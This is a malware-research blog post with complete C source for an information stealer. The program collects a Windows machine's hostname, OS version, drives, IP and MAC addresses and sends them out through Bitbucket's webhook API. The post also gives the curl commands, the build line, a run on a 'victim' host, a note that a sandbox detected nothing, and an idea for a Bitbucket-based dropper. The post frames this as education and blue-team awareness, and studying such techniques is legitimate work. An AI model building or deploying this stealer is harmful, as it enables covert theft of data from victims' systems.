6 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Before this I already show many examples of using services such as Telegram, Github etc for steal data.

Today, we’ll take a look at how attackers can exploit Bitbucket’s API - a legitimate and widely-used platform for code hosting and collaboration

practical example

I will provide a PoC that demonstrates the abuse of Bitbucket’s webhook API to upload system information from a target system, making it an ideal scenario for ethical hackers and threat analysts.

First of all, I created simple repo:

malware

malware

malware

Bitbucket provides a powerful API for interacting with repositories, hooks, issues, commits, and more:

malware

In most cases you need a API token:

malware

Ok, let’s create it:

malware

malware

malware

malware

malware

malware

When I first delved into automating interactions with Bitbucket’s REST API, I encountered a significant hurdle: understanding the authentication mechanism. The documentation, while comprehensive, left me uncertain about which token to use and how to implement it correctly.

It seems simple…. Bitbucket Cloud REST API uses basic authentication. This method requires concatenating your Atlassian account email address with a generated API token. The resulting string is then encoded in Base64 and included in the authorization header of your HTTP requests. But after much research and trial and error, I found that some endpoints only work under certain conditions: for example, issues can only be created and viewed if there is an issue tracker, which I did not find in the admin panel:

malware

malware

So the trick I used to abuse Github didn’t work in my case.

And, for the rest of the endpoints everything seems to be fine:

malware

One of the interesting methods seemed to me to be working with repository’s webhooks:

malware

The webhook API specifically allows applications to set up HTTP callbacks to interact with external services when events like pushes or pull requests happen.

Let me show PoC with simplest logic: we’ll be interacting with the Bitbucket Webhook API to create a new webhook in a repository. We will steal system information and add it to the description of the webhook. The system information will include hostname, OS version, etc. as usual:

snprintf(authHeader, sizeof(authHeader), "Authorization: Basic %s", BITBUCKET_TOKEN_BASE64);
 
hSession = WinHttpOpen(L"Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
hConnect = WinHttpConnect(hSession, L"api.bitbucket.org", INTERNET_DEFAULT_HTTPS_PORT, 0);

char path[512];
snprintf(path, sizeof(path), "/2.0/repositories/%s/%s/hooks", BITBUCKET_WORKSPACE, BITBUCKET_REPO);

wchar_t wpath[512];
MultiByteToWideChar(CP_ACP, 0, path, -1, wpath, 512);

hRequest = WinHttpOpenRequest(hConnect, L"POST", wpath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

wchar_t wauthHeader[512];
wchar_t wctypeHeader[] = L"Content-Type: application/json";
MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);

WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);

WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0);

Full source code looks lik this hack.c:

/*
 * hack.c
 * sending systeminfo via legit URL. Bitbucket API
 * author @cocomelonc
 * https://cocomelonc.github.io/malware/2025/08/29/malware-tricks-51.html
 */
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
#include <stdio.h>

// echo -n '<username>:<API_TOKEN>' | base64
#define BITBUCKET_TOKEN_BASE64 "Y29...Rg==" // base64 username:token
#define BITBUCKET_WORKSPACE "meow-test" // replace with your workspace
#define BITBUCKET_REPO "meow-shellcode" // replace with your repo name

// send data to BitBucket using winhttp
int sendToBitbucket(const char* description) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;
  HINTERNET hRequest = NULL;

  char authHeader[512];
 
  // construct the request body
  char json_body[1024];
  snprintf(json_body, sizeof(json_body), 
    "{\"description\": \"%s\", \"url\": \"https://meow-meow-hack.com/\", \"active\": true, "
        "\"secret\": \"this_is_a_really_bad_secret\", \"events\": [\"repo:push\", \"issue:created\"]}",
    description);

  DWORD bytesRead;
  char buffer[2048];

  snprintf(authHeader, sizeof(authHeader), "Authorization: Basic %s", BITBUCKET_TOKEN_BASE64);
 
  hSession = WinHttpOpen(L"Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  hConnect = WinHttpConnect(hSession, L"api.bitbucket.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
 
  char path[512];
  snprintf(path, sizeof(path), "/2.0/repositories/%s/%s/hooks", BITBUCKET_WORKSPACE, BITBUCKET_REPO);
 
  wchar_t wpath[512];
  MultiByteToWideChar(CP_ACP, 0, path, -1, wpath, 512);
 
  hRequest = WinHttpOpenRequest(hConnect, L"POST", wpath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
 
  wchar_t wauthHeader[512];
  wchar_t wctypeHeader[] = L"Content-Type: application/json";
  MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);
 
  WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
 
  WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0);
  WinHttpReceiveResponse(hRequest, NULL);
 
  // get response (checking)
  WinHttpReceiveResponse(hRequest, NULL);
 
  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }
  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
 
  return 0;
}
 
// get systeminfo and send as comment via GitHub API logic
int main(int argc, char* argv[]) {
 
  char systemInfo[4096];
 
  // get host name
  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);
 
  // get OS version
  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);
 
  // get system information
  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);
 
  // get logical drive information
  DWORD drives = GetLogicalDrives();
 
  // get IP address
  IP_ADAPTER_INFO adapterInfo[16];
  DWORD adapterInfoSize = sizeof(adapterInfo);
  if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
    printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
    return 1;
  }
 
  snprintf(systemInfo, sizeof(systemInfo),
    "Host Name: %s, "
    "OS Version: %d.%d.%d, "
    "Processor Architecture: %d, "
    "Number of Processors: %d, "
    "Logical Drives: %X, ",
    hostName,
    osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
    sysInfo.wProcessorArchitecture,
    sysInfo.dwNumberOfProcessors,
    drives);
 
  // Add IP address information
  for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
    snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
    "Adapter Name: %s, "
    "IP Address: %s, "
    "Subnet Mask: %s, "
    "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X", 
    adapter->AdapterName,
    adapter->IpAddressList.IpAddress.String,
    adapter->IpAddressList.IpMask.String,
    adapter->Address[0], adapter->Address[1], adapter->Address[2],
    adapter->Address[3], adapter->Address[4], adapter->Address[5]);
  }
 
  int result = sendToBitbucket(systemInfo);
 
  if (result == 0) {
    printf("hook successfully created in Bitbucket.\n");
  } else {
    printf("failed to create hook in Bitbucket.\n");
  }
 
  return 0;
}

As you can see, first of all, for basic auth you need to convert credentials to base64:

echo -n 'cocomelonkz@gmail.com:<BITBUCKET_API_TOKEN>' | base64

malware

demo

Let’s go to see this in action. For checking correctness, I made several requests using curl:

malware

For example in case using repository’s webhooks you need simple command:

curl --request GET --url 'https://api.bitbucket.org/2.0/repositories/meow-test/meow-shellcode/hooks' --header 'Authorization: Basic Y0ZUbU...long-long...MDcwRg==' --header 'Accept: application/json'

malware

Then, I created new webhook via curl:

curl --request POST   --url 'https://api.bitbucket.org/2.0/repositories/meow-test/meow-shellcode/hooks'   --header 'Authorization: Basic Y29.....wRg=='   --header 'Accept: application/json'   --header 'Content-Type: application/json'   -d '{
    "description": "meow webhook 01",
    "url": "https://example.com/",
    "active": true,
    "secret": "this is a really bad bad secret",
    "events": [
      "repo:push",
      "issue:created",
      "issue:updated"
    ]
  }'

malware

Recheck via GUI admin panel:

malware

malware

and recheck with GET request again:

curl --request GET --url 'https://api.bitbucket.org/2.0/repositories/meow-test/meow-shellcode/hooks' --header 'Authorization: Basic Y0ZUbU...long-long...MDcwRg==' --header 'Accept: application/json'

malware

For the sake of simplicity and purity of the experiment, let’s delete it, because it won’t be needed anymore:

malware

Yes, everything seems to be working fine.

Finally, compile our PoC:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

malware

And run it at the victim’s host (Windows 10 x64 22H2 in my case):

.\hack.exe

malware

malware

malware

malware

As you can see, everything is worked perfectly, as expected: the system information is added to the webhook description! =^..^=

Ok, let’s upload this to ANY.RUN:

malware

malware

malware

As you can see, ANY.RUN says that everything is ok: no threats detected.

https://app.any.run/tasks/9a3ca99b-3e21-4ae4-b150-8d258b7ecb98

conclusion

Of course, it is possible to use other endpoints described in the documentation. For example, when updating a repository, you can simply write the stolen information into the repository description:

malware

or when working with commits and their description:

malware

I think it won’t be hard to even sketch out a “dirty” Proof of Concept for a dropper that downloads a payload from a Bitbucket repository using an API.

While there might not be direct public documentation on specific APTs using Bitbucket exclusively for these purposes, the use of Git-based platforms for C2 and data exfiltration has been reported in APT-related investigations. For example, APT34 (OilRig) and APT33 (Elfin) are known to have used GitHub for similar purposes in the past.

Given the growing use of such cloud platforms, it’s entirely plausible that Bitbucket could be employed by APT groups for C2 or exfiltration as part of their operations, especially when bypassing traditional network monitoring systems. Monitoring for unusual API activity, repository changes, and webhook interactions is crucial in detecting such tactics.

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

malware

Thanks to ANY.RUN for API!

ANY.RUN
ANY.RUN: hack.exe
BitBucket Webhook API
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine